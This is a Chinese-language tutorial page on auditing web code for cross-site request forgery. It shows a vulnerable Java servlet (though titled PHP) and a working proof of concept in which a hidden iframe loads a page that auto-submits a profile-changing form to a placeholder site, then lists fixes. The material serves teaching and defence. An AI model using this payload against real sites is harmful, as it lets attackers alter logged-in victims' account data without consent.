1. 程式人生 > >php代碼審計7審計csrf漏洞

php代碼審計7審計csrf漏洞

ets action 就會 結果 管理後臺 沒有 web應用 代碼審計 構造

跨站請求偽造,也有人寫出xsrf,黑客偽造用戶的http請求,然後將http請求發送給存在csrf的網站,網站執行了偽造的http請求,就引發了跨站請求偽造


漏洞危害:攻擊者盜用了你的身份信息,以你的名義發送惡意請求,如發送郵件,消息,盜取你的賬號,甚至購買物品,虛擬貨幣轉賬等


漏洞本質:攻擊者獲取到重要參數,成功構造一個偽造請求,如http://www.xx.xx/xx.php?xx=xx&&id=1


挖掘思路:管理後臺,會員中心,添加用戶等,被引用的核心文件裏面有沒有驗證token和referer相關的代碼,沒帶token可以直接請求這個頁面,沒帶referer則返回相同的數據



代碼:
HttpServletRequest request, HttpServletResponse response)
{
int userid=Integer.valueOf( request.getSession().getAttribute("userid").toString());
String email=request.getParameter("email");
String tel=request.getParameter("tel");
String realname=request.getParameter("realname");
Object[] params = new Object[4];
params[0] = email;
params[1] = tel;
params[2] = realname;
params[3] = userid;
final String sql = "update user set email=?,tel=?,realname=? where userid=?";
conn.execUpdate(sql,params);
}

代碼中接收用戶提交的參數“email,tel,realname”,之後修改了該用戶的數據,一旦接收到一個用戶發來的請求,就執行修改操作。提交表單代碼:

<form action="http://localhost/servlet/modify" method="POST">
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>
當用戶點提交時,就會觸發修改操作,如果“代碼示例”中的代碼,是xxxx.com上的一個web應用,那麽惡意用戶為了攻擊xxxx.com的登錄用戶,可以構造2個HTML頁面。

頁面a.htm中,iframe一下b.htm,把寬和高都設為0。

<iframe src="b.htm" width="0" height="0"></frame> 這是為了當攻擊發生時,受害用戶看不到提交成功結果頁面。
頁面b.htm中,有一個表單,和一段腳本,腳本的作用是,當頁面加載時,自動提交這個表單
<form id="modify" action="http://xxxx.com/servlet/modify" method="POST">
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>

<script>
document.getElementById("modify").submit();
</script>
攻擊者只要把頁面a.htm放在自己的web服務器上,並發送給登錄用戶即可。
用戶打開a.htm後,會自動提交表單,發送給xxxx.com下的那個存在CSRF漏洞的web應用,所以用戶的信息,就被迫修改了。


修復方案:驗證碼,添加referer驗證,添加token驗證

php代碼審計7審計csrf漏洞